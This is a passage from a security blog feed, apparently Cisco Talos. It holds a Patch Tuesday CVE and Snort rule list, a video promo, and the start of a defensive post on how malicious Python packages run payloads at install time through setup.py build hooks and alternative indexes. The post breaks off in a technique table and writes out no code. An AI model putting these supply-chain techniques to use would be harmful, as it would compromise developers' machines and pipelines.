Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667">CVE-2026-50667</a>: Windows Common Log File System Driver Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688">CVE-2026-50688</a>: Windows Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114">CVE-2026-54114</a>: Windows Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986">CVE-2026-54986</a>: Windows Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091">CVE-2026-57091</a>: Windows File History Service Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531">CVE-2026-58531</a>: Windows SMB Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536">CVE-2026-58536</a>: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596">CVE-2026-58596</a>: Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631">CVE-2026-58631</a>: Windows Admin Center (WAC) Remote Code Execution Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633">CVE-2026-58633</a>: Desktop Window Manager Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638">CVE-2026-58638</a>: Windows Boot Loader Security Feature Bypass Vulnerability</p><p>A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">update page</a>.</p><p>In response to these vulnerability disclosures, Talos is releasing a new Snort ruleset that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Ruleset customers can stay up to date by downloading the latest rule pack available for purchase on <a href="https://www.snort.org/">Snort.org</a>.</p><p>Snort 2 rules included in this release that protect against the exploitation of many of these vulnerabilities are: 1:66733 - 1:66743, 1:66745 - 1:66785, 1:66791 - 1:66793, 1:66800 - 1:66807</p><p>The following Snort 3 rules are also available: 1:301555 - 1:301579, 1:301581 - 1:301583</p>]]></content:encoded></item><item><title><![CDATA[[Video] Where protection starts: Cisco Talos Intelligence Integrations]]></title><description><![CDATA[Every day, defenders make high-consequence decisions with incomplete information. Learn how Cisco Talos Intelligence Integrations help reduce uncertainty by turning the latest threat intelligence into proactive protections across Cisco technologies.]]></description><link>https://blog.talosintelligence.com/video-where-protection-starts-cisco-talos-intelligence-integrations/</link><guid isPermaLink="false">6a54e4072d1d8700012364ee</guid><category><![CDATA[The Need to Know]]></category><dc:creator><![CDATA[Hazel Burton]]></dc:creator><pubDate>Tue, 14 Jul 2026 10:47:18 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Talos_integrations_header-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Talos_integrations_header-2.jpg" alt="[Video] Where protection starts: Cisco Talos Intelligence Integrations"><p>Cybersecurity has always involved elements of uncertainty. Every day, security teams are asked to make decisions with incomplete information, while attackers rely on defenders not being able to see the full picture.</p><p>What defenders haven&apos;t always had to deal with is attackers using AI to rewrite malicious commands on the fly, malware that adapts its code upon every installation, and models that can search through decades of vulnerable code and exposed interfaces to uncover new opportunities for exploitation.</p><p>While none of that changes the fundamental purpose of cybersecurity &#x2014; to understand and act on what&apos;s happening in your environment&#xA0;&#x2014;&#xA0;it does make that picture harder and harder to build. Is a newly registered domain part of an attack? Is that outbound connection normal? Is that user behavior unusual?&#xA0;</p><p><a href="https://www.cisco.com/site/us/en/products/security/talos/threat-intelligence-services.html" rel="noreferrer">Cisco Talos Intelligence Integrations</a> helps answer those questions.</p><p>Across Cisco&#x2019;s security and enterprise technologies, Talos&#x2019; reputation and detection integrations continuously apply the latest threat intelligence to identify and block malicious activity.</p><p>Our latest video introduces some of the Talosians behind the integrations and explains how they work.</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/JXyz2gni2Us?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="Where Protection Starts: Cisco Talos Intelligence Integrations"></iframe></figure><p>If you&apos;d like to learn more about the technologies behind Talos Intelligence Integrations, you&apos;ll find a more detailed overview on the&#xA0;<a href="https://www.cisco.com/site/us/en/products/security/talos/threat-intelligence-services.html"><u>Cisco Security website.</u></a></p>]]></content:encoded></item><item><title><![CDATA[The serpent’s tongue: Luring the Python out of its den]]></title><description><![CDATA[This blog examines the full lifecycle of a Python package, from hosting on repositories such as PyPI or custom web servers, through source and wheel distribution formats, to the final installation into virtual or system-wide Python environments.]]></description><link>https://blog.talosintelligence.com/the-serpents-tongue-luring-the-python-out-of-its-den/</link><guid isPermaLink="false">6a5518b52d1d8700012364fc</guid><category><![CDATA[Threat Spotlight]]></category><dc:creator><![CDATA[Onur Mustafa Erdogan]]></dc:creator><pubDate>Tue, 14 Jul 2026 10:00:06 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/python-package-header.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Python&apos;s popularity, readable syntax, and extensive third-party library ecosystem make it an attractive target for threat actors seeking to compromise developer devices and infrastructure.&#xA0;&#xA0;</li><li>Malicious packages and supply-chain attacks are increasingly common, exploiting the trust built into Python&apos;s packaging ecosystem to execute payloads at the moment of installation, without any direct interaction from the victim.&#xA0;&#xA0;</li><li>This blog examines the full lifecycle of a Python package, from hosting on repositories such as PyPI or custom web servers, through source and wheel distribution formats, to the final installation into virtual or system-wide Python environments. Each technique is assessed for persistence, supported build methods, and distribution compatibility.&#xA0;&#xA0;</li><li>We conclude with practical defensive measures, including dependency auditing tools, version pinning strategies, installation time controls, and general best practices for minimizing supply-chain risk.</li></ul><hr><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/python-package-header.jpg" alt="The serpent&#x2019;s tongue: Luring the Python out of its den"><p>Due to the friendly nature of its syntax, extensive capabilities, and wide range of libraries, Python&#x2019;s adoption by the developer community has been steadily increasing. Both the <a href="https://survey.stackoverflow.co/2025/technology#most-popular-technologies-language-language" rel="noreferrer noopener"><u>StackOverflow Developer Survey</u></a> and the first party package repository <a href="https://pypistats.org/packages/__all__" rel="noreferrer noopener"><u>PyPi&#x2019;s download stats</u></a> indicate rapidly growing usage, especially for data science, AI, and backend projects. Python has a very vibrant community of modules that can be easily installed using various package indexes. Unfortunately, this convenience comes with an additional burden. Malicious packages and supply chain infection are also increasingly common, as threat actors attempt to utilize these modules to infect as many victim devices as possible, abusing the very trust that the community is built upon. <a href="https://github.blog/security/supply-chain-security/a-year-of-open-source-vulnerability-trends-cves-advisories-and-malware/" rel="noreferrer noopener"><u>GitHub&#x2019;s 2025 security data</u></a> highlights the accelerating threat to the software supply chain, noting a 69% year-over-year increase in published malware advisories. Notably for Python developers, 17% of all reviewed advisories in the GitHub Advisory Database are now related to the Pip ecosystem, reflecting a significant targeting of Python-based environments. The threat actor group TeamPCP has also utilized software supply chain attacks, including misuse of Python modules, to compromise Microsoft&#x2019;s GitHub subsidiary and carry out 20 &#x201C;waves&#x201D; of supply chain attacks <a href="https://www.wired.com/story/teampcp-software-supply-chain-attack-spree-github/" rel="noreferrer noopener"><u>according to Wired.</u></a>&#xA0;</p><p>Users often believe that for a malicious payload to be executed they need to directly interact with the infected piece of code (e.g., providing it with a sensitive input, executing its entry point, or importing it to a working project). In reality, Python packages can establish a foothold simply through installation. While analyzing these techniques in detail, we will take a deeper look at the background process of package installation for Python. This will help understand the threat landscape for Python packages, including legitimate components adversaries try to alter for their benefit.</p><h2 id="journey-of-a-python-package">Journey of a Python package&#xA0;</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/python-package-installation-fig-1.jpg" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="2000" height="1693" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/python-package-installation-fig-1.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/python-package-installation-fig-1.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/python-package-installation-fig-1.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/python-package-installation-fig-1.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 1. Layers of Python package installation.</span></figcaption></figure><p>The process of moving a Python package from a remote repository to a local machine involves three distinct layers. While these layers are interconnected, they provide a useful abstraction for understanding the installation process:&#xA0;</p><ul><li>Hosting layer: Defines the location where the package is published&#xA0;</li><li>Distribution layer: Specifies the file formats supported by the package&#xA0;</li><li>Installation layer: Dictates the method of deployment for the package</li></ul><h3 id="hosting-packages">Hosting packages&#xA0;</h3><p>Python packages can be installed from various remote repositories.&#xA0;&#xA0;</p><p><strong>PyPI (Python Package Index): </strong>PyPI is the official repository for Python packages. The native package manager, pip, uses PyPI by default. Package details are accessible via a JSON API at &#x201C;https://pypi.org/pypi/&lt;package-name&gt;/json&#x201D;. During installation, the PyPI frontend redirects users to &#x201C;files.pythonhosted.org&#x201D;, where the actual files are stored. Download URLs are derived from the distribution file name and its blake2b_256 hash. For example:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-1.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="326" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-1.png 1430w" sizes="(min-width: 720px) 720px"></figure><p><strong>Version control systems (VCS): </strong>Projects hosted on platforms like GitHub or GitLab can be installed directly. This supports open source development through transparent issue tracking. A project can be installed using the following command:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-2.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="326" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-2.png 1430w" sizes="(min-width: 720px) 720px"></figure><p><strong>Custom web servers: </strong>Any web server with a suitable directory structure can serve as a repository. Packages must be hosted in folders using their normalized names, with all versions grouped together:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-3.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-3.png 1430w" sizes="(min-width: 720px) 720px"></figure><p>To use a custom repository, pip must be instructed to use a different index URL:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-4.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="326" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-4.png 1430w" sizes="(min-width: 720px) 720px"></figure><p>Alternatively, users can provide an extra index URL to search multiple repositories:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-5.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="326" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-5.png 1430w" sizes="(min-width: 720px) 720px"></figure><p><strong>Configuration and environment variables:</strong> Index URLs can be specified in pip configuration files at three levels, global (system-wide), user (specific to a user), or site (specific to an environment). The <code>PIP_CONFIG_FILE</code> environment variable can also point to a custom configuration. Additionally, any pip command line argument can be converted into an environment variable using the <code>PIP_&lt;UPPER_LONG_NAME&gt;</code> format, such as <code>PIP_FIND_LINKS</code>.</p><h3 id="distributing-packages">Distributing Packages&#xA0;</h3><p>Independent of the hosting layer, Python packages are published in two primary formats:&#xA0;</p><ul><li><strong>Source Distributions (sdist):</strong> These come in a packed .tar.gz format. They contain the full source code and build instructions, requiring the package to be built on the user&apos;s workstation before installation.&#xA0;</li><li><strong>Wheel Distributions: </strong>These come in a pre-built .whl <a href="https://packaging.python.org/en/latest/specifications/binary-distribution-format/" rel="noreferrer noopener"><u>format</u></a>. They are ready to be deployed immediately, providing a faster and more robust installation process. Despite having .whl extension, these distributions use same format as the .zip files.&#xA0;</li></ul><p>Source distributions rely on build instructions, typically written as either a &#x201C;setup.py&#x201D; or &#x201C;pyproject.toml&#x201D; file. While &#x201C;pyproject.toml&#x201D; is the modern, preferred format due to its transparency and support for various backends, &#x201C;setup.py&#x201D; is a standalone script that uses <code>Setuptools</code>. A critical security concern is that &#x201C;setup.py&#x201D; executes automatically during installation or download, allowing for the execution of arbitrary code.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/comparison-table-1.jpg" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="2000" height="1247" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/comparison-table-1.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/comparison-table-1.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/comparison-table-1.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/comparison-table-1.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Table 1. Brief comparison between &#x201C;setup.py&#x201D; and &#x201C;pyproject.toml&#x201D;.</span></figcaption></figure><h3 id="installing-packages">Installing packages&#xA0;</h3><p>Distribution format and target environment are the main parameters of the installation layer. Distribution format determines if the build process will take place on the user computer. Depending on the target environment used, accessibility of the package will differ after installation.&#xA0;</p><p>Besides system-wide deployments, use of virtual environments are very common. Virtualization of Python environment isolates packages and their versions per deployment. It prevents version conflicts between different software, which are relying on the same set of dependencies with varying versions. Isolation occurs mainly on the package and binary level. Once activated, a virtual environment is treated as a separate Python site, sharing the same file system and network interfaces, but with its own binary and package library. Therefore, we cannot consider this type of virtualization containerized.&#xA0;</p><p>Use of virtual environments provides convenient management for package dependencies. Direct dependencies of a Python package is handled in various locations. Within source distributions, direct dependencies can be found on:&#xA0;</p><ul><li>&#x201C;setup.py&#x201D;, the setup function contains an <code>install_requires</code> parameter, where dependencies can be listed</li><li>&#x201C;pyproject.toml&#x201D;, under &#x201C;projects&#x201D; section, <code>dependencies</code> parameter lists required packages&#xA0;</li><li>&#x201C;requirements.txt&#x201D; file contains a list of dependencies&#xA0;</li><li>&#x201C;Pipfile&#x201D;, under <code>packages</code> section&#xA0;</li></ul><p>After package is built, dependencies are listed in the &#x201C;METADATA&#x201D; file under &#x201C;.dist-info&#x201D; folder within wheel distribution file.&#xA0;&#xA0;</p><p>Tools like poetry, uv, and hatch are replacing native solutions by providing end-to-end management for environments, packages, and projects. These tools extend &#x201C;pyproject.toml&#x201D; capabilities by adding tool-specific sections to handle complex build-time tasks.</p><h2 id="entry-points-for-malicious-payloads">Entry points for malicious payloads&#xA0;</h2><p>The delivery medium for a malicious payload often defines its victim base. While phishing campaigns might target broad demographics based on geography or language, package manager attacks specifically target individuals with software development skills. In a modern enterprise, these individuals often hold administrative rights across sensitive assets, including endpoints, source code repositories, Continuous Integration and Continuous Delivery (CI/CD) pipelines, and cloud infrastructure. This makes them high-interest targets for adversarial campaigns. Furthermore, the rise of AI-based tooling has expanded this target group, increasing the potential impact of a single breach. &#xA0;</p><p>In this landscape, Python offers a feature-rich and popular environment favored by both developers and adversaries. Despite malicious packages being identified and removed from public repositories within hours, this is still a valid opportunity window for adversaries. Payload execution can occur within minutes of installing the malicious package, and exfiltration can be achieved <a href="https://www.paloaltonetworks.com/resources/research/unit-42-incident-response-report" rel="noreferrer noopener"><u>within an hour</u></a>, depending on adversarial goals. Later, operationalization of stolen assets by different actors can occur <a href="https://whiteintel.io/blog/infostealer-lifecycle-48-hours" rel="noreferrer">within just a few days</a>. Recent trends indicated <a href="https://cloud.google.com/security/resources/m-trends" rel="noreferrer noopener"><u>dwell time of nine days</u></a> once compromised. This might vary based-on detection and response capabilities of an organization. Therefore, having a structured understanding of malicious Python packages can help us estimate the impact of the infection and avoid being compromised all together.&#xA0;</p><p>With this in mind, let&apos;s delve deeper into Python packages and highlight native features abused by the adversaries within a structured format. We group adversarial techniques into two main categories (build hook abuses and package content abuses) and list some additional characteristics, that convey the potential impact that can be inflicted upon the victim system:&#xA0;</p><ul><li><strong>OS</strong>: Operating System support for this technique&#xA0;</li><li><strong>Category</strong>: Category of the technique, based on the Python feature it abuses&#xA0;</li><li><strong>Persistence</strong>: Indicates if the payload can persist between executions&#xA0;</li><li><strong>Build</strong>: Shows the supported build methods for the technique&#xA0;</li><li><strong>Distributions</strong>: Indicates if technique requires package to be build on victim endpoint&#xA0;</li></ul><h2 id="build-hook-abuses">Build hook abuses&#xA0;</h2><h3 id="command-class-utilization-on-setup-files">Command class utilization on setup files&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW163761018 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW163761018 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW163761018 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 111px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1934545057" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{141}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW163761018 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 511px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="833008234" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{148}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163761018 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163761018 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 111px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="327841878" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{156}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163761018 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 511px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1110911929" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{163}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New 